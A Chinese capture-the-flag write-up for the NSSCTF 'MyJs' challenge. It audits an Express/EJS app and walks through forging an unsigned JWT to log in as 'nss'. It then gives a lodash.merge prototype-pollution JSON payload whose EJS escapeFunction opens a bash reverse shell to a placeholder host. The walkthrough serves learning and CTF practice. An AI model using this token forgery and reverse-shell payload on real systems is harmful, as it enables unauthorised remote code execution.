[NSSCTF 2nd]MyJs
做一题ejs原型链污染
首先是登录界面

源码里面提示了源码的路由

js不熟先审计一下
const express = require('express');
#导入Express框架,用于构建Web应用程序的服务器和路由
const bodyParser = require('body-parser');
#导入body-parser中间件,用于解析HTTP请求体中的数据,通常用于处理POST请求中的表单数据等
const lodash = require('lodash');
#导入Lodash库,一个实用的JavaScript工具库,提供了许多方便的函数用于简化开发中的常见任务
const session = require('express-session');
#导入express-session中间件,用于处理会话管理,通过在客户端和服务器之间存储状态信息来跟踪用户的会话
const randomize = require('randomatic');
#导入randomatic库,用于生成随机字符串,可能用于生成令牌或其他随机值
const jwt = require('jsonwebtoken')
#导入jsonwebtoken库,用于生成和验证JWT
const crypto = require('crypto');
#导入Node.js内置的crypto模块,用于提供加密和解密功能,例如生成哈希值、加密数据等
const fs = require('fs');
#导入Node.js内置的fs模块,用于处理文件系统操作,如读取和写入文件
global.secrets = [];
#定义一个叫secrets的全局数组
express()
.use(bodyParser.urlencoded({extended: true}))
.use(bodyParser.json())
#使用body-parser中间件来解析请求体中的表单数据和JSON数据
.use('/static', express.static('static'))
# 配置Express应用程序提供静态文件的中间件,所有以/static开头的请求都将映射到static目录下的文件
.set('views', './views')
.set('view engine', 'ejs')
# 配置Express应用程序使用EJS模板引擎,并设置模板文件的存储目录为./views
.use(session({name: 'session',secret: randomize('a', 16),resave: true,saveUninitialized: true
}))
#使用随机生成的16位密钥作为secret,resave和saveUninitialized用于配置会话的重新保存和初始化
.get('/', (req, res) => {if (req.session.data) {res.redirect('/home');} else {res.redirect('/login')}
})
#根目录路由,首先检查req.session.data是否存在,如果存在则重定向到/home,否则重定向到/login
.get('/source', (req, res) => {res.set('Content-Type', 'text/javascript;charset=utf-8');res.send(fs.readFileSync(__filename));
})
#source路由,利用fs模块的readFileSync获取源码
.all('/login', (req, res) => {if (req.method == "GET") {res.render('login.ejs', {msg: null});}if (req.method == "POST") {const {username, password, token} = req.body;const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {return res.render('login.ejs', {msg: 'login error.'});}const secret = global.secrets[sid];const user = jwt.verify(token, secret, {algorithm: "HS256"});if (username === user.username && password === user.password) {req.session.data = {username: username,count: 0,}res.redirect('/home');} else {return res.render('login.ejs', {msg: 'login error.'});}}
})
login路由
请求方法是GET的时候,先用
res.render渲染一个名为login.ejs的模板,并传递一个包含msg属性的对象,msg初始化为null,这里用于登录表单请求方法是POST的时候,从请求体中提取username,password和token,从token中提取secretid并检测他是否在全局数组secrets内,如果在,从
global.secrets中获取对应的密钥secret,然后使用jwt.verify验证令牌的有效性。如果验证成功,表示用户提供的用户名、密码和令牌与令牌中的用户信息匹配,创建一个req.session.data对象存储用户会话信息,并重定向到/home路径,如果验证失败,通过res.render渲染login.ejs模板提示登录失败
.all('/register', (req, res) => {if (req.method == "GET") {res.render('register.ejs', {msg: null});}if (req.method == "POST") {const {username, password} = req.body;if (!username || username == 'nss') {return res.render('register.ejs', {msg: "Username existed."});}const secret = crypto.randomBytes(16).toString('hex');const secretid = global.secrets.length;global.secrets.push(secret);const token = jwt.sign({secretid, username, password}, secret, {algorithm: "HS256"});res.render('register.ejs', {msg: "Token: " + token});}
})
register路由
GET方法与login时候差不多
POST方法,提权表单中的username和password,如果没有输入username或者username为nss,用res.render渲染register.ejs,提示用户名已存在,如果用户名为其他,定义长度为16的随机字节序列,将其转换为十六进制字符串,并作为secret使用,获取当前global.secrets数组的长度作为新的secretid,将secret添加到global.secrets数组中,使用jwt.sign生成jwt令牌,使用生成的secret签名,算法是hs256 ,再用res.render渲染register,ejs,并且msg为新的Token.
.all('/home', (req, res) => {if (!req.session.data) {return res.redirect('/login');}res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: null})
})
#home路由,如果req.session.data不存在,重定向到登录界面,如果存在,渲染一个home.ejs,用户名为提交的用户名或者NSS
.post('/update', (req, res) => {if(!req.session.data) {return res.redirect('/login');}if (req.session.data.username !== 'nss') {return res.render('home.ejs', {username: req.session.data.username||'NSS',count: req.session.data.count||'0',msg: 'U cant change uid'})}let data = req.session.data || {};req.session.data = lodash.merge(data, req.body);console.log(req.session.data.outputFunctionName);res.redirect('/home');
})
update路由
如果req.session.data不存在,重定向到登录界面,如果存在并且用户名不是nss,提示不能改变uid,如果用户名是nss,利用lodash.merge将req.session.data与req.body合并,并将结果存储回req.session.data中,这里merge是原型链污染的高危函数,所有打原型链污染要在update路由打,并且用户名需要是nss.
现在先办法登录nss的用户,利用jwt伪造
const user = jwt.verify(token, secret, {algorithm: "HS256"});
验证用户的在这里,用verify函数
verify 的第三个参数options应该是用algorithms传入的数组,这里写成了 algorithm,导致加密方式为空,空加密允许空密钥即,secret可以为空
const sid = JSON.parse(Buffer.from(token.split('.')[1], 'base64').toString()).secretid;
if (sid === undefined || sid === null || !(sid < global.secrets.length && sid >= 0)) {return res.render('login.ejs', {msg: 'login error.'});}
但是sid不能为null或者undefined,如果不绕过,无法进行verify验证,这里定义sid为一个数组可以绕过
然后就可以伪造jwt了
const jwt = require('jsonwebtoken');
global.secrets = [];
var user = {secretid: [],username: 'nss',password: '123',"iat":1516239022}
const secret = global.secrets[user.secretid];
var token = jwt.sign(user, secret, {algorithm: 'none'});
console.log(token);
自己注册一个账号,然后jwt解析看一下iat是什么,然后填到脚本里
账号nss 密码123
token:eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzZWNyZXRpZCI6W10sInVzZXJuYW1lIjoibnNzIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE1MTYyMzkwMjJ9.
登录成功

下一步是利用merge原型链污染
下面文章由介绍并且由exp
关于nodejs的ejs和jade模板引擎的原型链污染挖掘-安全客 - 安全资讯平台 (anquanke.com)
{"__proto__":{"client":true,"escapeFunction":"1; return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps_ip/4567 0>&1\"');","compileDebug":true}
}
在update路由下提交这个json数据,注意把Content-Type该成application/json然后再重定向到home路由访问一下


在环境变量里面找到flag

相关文章:
[NSSCTF 2nd]MyJs
做一题ejs原型链污染 首先是登录界面 源码里面提示了源码的路由 js不熟先审计一下 const express require(express); #导入Express框架,用于构建Web应用程序的服务器和路由 const bodyParser require(body-parser); #导入body-parser中间件,用于解析…...
NLP-词向量、Word2vec
Word2vec Skip-gram算法的核心部分 我们做什么来计算一个词在中心词的上下文中出现的概率? 似然函数 词已知,它的上下文单词的概率 相乘。 然后所有中心词的这个相乘数 再全部相乘,希望得到最大。 目标函数(代价函数࿰…...
Java学习--学生管理系统(残破版)
代码 Main.java import java.util.ArrayList; import java.util.Scanner;public class Main {public static void main(String[] args) {ArrayList<Student> list new ArrayList<>();loop:while (true) {System.out.println("-----欢迎来到阿宝院校学生管理系…...
柯西矩阵介绍
经典定义 柯西矩阵(Cauchy Matrix),是一种特殊类型的矩阵,它在数学中的多个领域,包括线性代数、数值分析和插值理论中都有重要应用。柯西矩阵以19世纪法国数学家奥古斯丁-路易柯西的名字命名。 柯西矩阵是一个方阵&am…...
PureFlash v1.9.1特性介绍
PureFlashv1.9.1版本特性主要有4个: 1. 支持RDMA网络 使用RDMA协议可以大大减少对CPU的消耗,性能提升30%以上。 PureFlash的网络配置分为存储节点间网络(存储后端网)和客户端网络(前端网)。都支持使用RD…...
XXE 漏洞简单研究
近期在做个基础的 web 常见漏洞的 ppt,主要参考 OWASP TOP 10 2017RC2,此版本中增加了 XXE 攻击,所以自己简单的研究下 XXE 攻击。XXE(XML External Entity)XML 外部实体,当前端和后端通信数据采用 xml&…...
web漏洞与规避
文章目录 一、XSS 跨站脚本攻击1.1 XSS攻击的主要类型反射型XSS存储型XSSDOM型XSS 1.2 前端开发如何应对XSS 二、CSRF 跨站请求伪造2.1 CSRF例子2.2 前端开发如何应对CSRF 三、SQL 注入3.1 前端如何防御SQL注入 四、前端如何使用CSP 一、XSS 跨站脚本攻击 攻击者通过在受害者的…...
#FPGA(基础知识)
1.IDE:Quartus II 2.设备:Cyclone II EP2C8Q208C8N 3.实验:正点原子-verilog基础知识 4.时序图: 5.步骤 6.代码:...
LockBit病毒入侵揭秘:如何防范与应对
在数字时代,随着科技的飞速发展,网络安全问题愈发凸显。恶意软件和勒索软件等网络威胁正不断演变,其中一款备受关注的勒索软件就是LockBit。本文将深入介绍LockBit的特征、攻击手段、演进历程以及对网络安全的威胁。 01 主要特征 LockBit是…...
vue-router4 (六) 路由嵌套
应用场景: ①比如京东页面的首页、购物车、我的按钮,可以点击切换到对应的页面; ② 比如 Ant Design左侧这些按钮点击就会切到对应的页面,此时可以把左侧按钮放在父路由中,右侧的子路由 1.路由配置,子路由…...
【NR 定位】3GPP NR Positioning 5G定位标准解读(一)
目录 前言 1. 3GPP规划下的5G技术演进 2. 5G NR定位技术的发展 2.1 Rel-16首次对基于5G的定位技术进行标准化 2.2 Rel-17进一步提升5G定位技术的性能 3. Rel-18 关于5G定位技术的新方向、新进展 3.1 Sidelink高精度定位功能 3.2 针对上述不同用例,3GPP考虑按…...
【AI绘画】免费GPU Tesla A100 32G算力部署Stable Diffusion
免责声明 在阅读和实践本文提供的内容之前,请注意以下免责声明: 侵权问题: 本文提供的信息仅供学习参考,不用做任何商业用途,如造成侵权,请私信我,我会立即删除,作者不对读者因使用本文所述方法…...
JVM(2)
JVM类加载 指的是java进程运行时,需要把.class文件从硬盘加载到内存,并进行一系列校验解析的过程. 核心: .class文件>类对象; 硬盘>内存. 类加载过程 在整个JVM的执行流程中,和程序员关系最密切的就是类加载的过程了,所以我们来看一下类加载的执行流程. 对于一个类…...
青少年CTF擂台挑战赛 2024 #Round 1 Web方向题解 WP 全
EasyMD5 题目描述:php没有难题 考点总结:脑洞题目,不如我出(狗头 只允许两个都上传pdf文件。 文件还不能太大了。burp多次发包发现要求两个pdf内容不一样 不一样时候,提示我们MD5碰撞。 科学计数法绕过 PHP的后门 …...
一文认识蓝牙(验证基于Aduino IDE的ESP32)
1、简介 蓝牙技术是一种无线通信的方式,利用特定频率的波段(2.4GHz-2.485GHz左右),进行电磁波传输,总共有83.5MHz的带宽资源。 1.1、背景 蓝牙(Bluetooth)一词取自于十世纪丹麦国王哈拉尔Haral…...
2W字-35页PDF谈谈自己对QT某些知识点的理解
2W字-35页PDF谈谈自己对QT某些知识点的理解 前言与总结总体知识点的概况一些笔记的概况笔记阅读清单 前言与总结 最近,也在对自己以前做的项目做一个知识点的梳理,发现可能自己以前更多的是用某个控件,以及看官方手册,但是没有更…...
Docker知识点总结
二、Docker基本命令: Docker支持CentOs 6 及以后的版本; CentOs7系统可以直接通过yum进行安装,安装前可以 1、查看一下系统是否已经安装了Docker: yum list installed | grep docker 2、安装docker: yum install docker -y -y 表示自动确认…...
Redis 消息队列:构建消息代理的 4 个简单步骤
消息代理是一种使系统、应用程序和服务能够通信和交换信息的软件。它在正式消息传递协议之间转换消息,并允许相互依赖的服务直接“对话”,即使是用不同语言编写或在不同平台上实现也是如此。在微服务中使用异步通信时,通常会使用消息代理。 消息代理可确保可靠且稳定的通信,…...
kafka三节点集群平滑升级过程指导
一、前言 Apache Kafka作为常用的开源分布式流媒体平台,可以实时发布、订阅、存储和处理数据流,多用于作为消息队列获取实时数据,构建对数据流的变化进行实时反应的应用程序,已被数千家公司用于高性能数据管道、流分析、数据集成和任务关键型…...
Golang 简介与基本语法学习
Go,也被称为 Golang,是一门由 Google 设计的开源编程语言。它旨在提供高效的开发体验,同时具备并发性、内存安全和简洁性。本篇博客将介绍 Golang 的基本语法和一些示例,帮助读者快速入门这门令人着迷的语言。 简介 Go 语言的设…...
idea大量爆红问题解决
问题描述 在学习和工作中,idea是程序员不可缺少的一个工具,但是突然在有些时候就会出现大量爆红的问题,发现无法跳转,无论是关机重启或者是替换root都无法解决 就是如上所展示的问题,但是程序依然可以启动。 问题解决…...
CTF show Web 红包题第六弹
提示 1.不是SQL注入 2.需要找关键源码 思路 进入页面发现是一个登录框,很难让人不联想到SQL注入,但提示都说了不是SQL注入,所以就不往这方面想了 先查看一下网页源码,发现一段JavaScript代码,有一个关键类ctfs…...
3.3.1_1 检错编码(奇偶校验码)
从这节课开始,我们会探讨数据链路层的差错控制功能,差错控制功能的主要目标是要发现并且解决一个帧内部的位错误,我们需要使用特殊的编码技术去发现帧内部的位错误,当我们发现位错误之后,通常来说有两种解决方案。第一…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...
Springcloud:Eureka 高可用集群搭建实战(服务注册与发现的底层原理与避坑指南)
引言:为什么 Eureka 依然是存量系统的核心? 尽管 Nacos 等新注册中心崛起,但金融、电力等保守行业仍有大量系统运行在 Eureka 上。理解其高可用设计与自我保护机制,是保障分布式系统稳定的必修课。本文将手把手带你搭建生产级 Eur…...
dify打造数据可视化图表
一、概述 在日常工作和学习中,我们经常需要和数据打交道。无论是分析报告、项目展示,还是简单的数据洞察,一个清晰直观的图表,往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server,由蚂蚁集团 AntV 团队…...
2025季度云服务器排行榜
在全球云服务器市场,各厂商的排名和地位并非一成不变,而是由其独特的优势、战略布局和市场适应性共同决定的。以下是根据2025年市场趋势,对主要云服务器厂商在排行榜中占据重要位置的原因和优势进行深度分析: 一、全球“三巨头”…...
视觉slam十四讲实践部分记录——ch2、ch3
ch2 一、使用g++编译.cpp为可执行文件并运行(P30) g++ helloSLAM.cpp ./a.out运行 二、使用cmake编译 mkdir build cd build cmake .. makeCMakeCache.txt 文件仍然指向旧的目录。这表明在源代码目录中可能还存在旧的 CMakeCache.txt 文件,或者在构建过程中仍然引用了旧的路…...
【C++特殊工具与技术】优化内存分配(一):C++中的内存分配
目录 一、C 内存的基本概念 1.1 内存的物理与逻辑结构 1.2 C 程序的内存区域划分 二、栈内存分配 2.1 栈内存的特点 2.2 栈内存分配示例 三、堆内存分配 3.1 new和delete操作符 4.2 内存泄漏与悬空指针问题 4.3 new和delete的重载 四、智能指针…...
MySQL JOIN 表过多的优化思路
当 MySQL 查询涉及大量表 JOIN 时,性能会显著下降。以下是优化思路和简易实现方法: 一、核心优化思路 减少 JOIN 数量 数据冗余:添加必要的冗余字段(如订单表直接存储用户名)合并表:将频繁关联的小表合并成…...
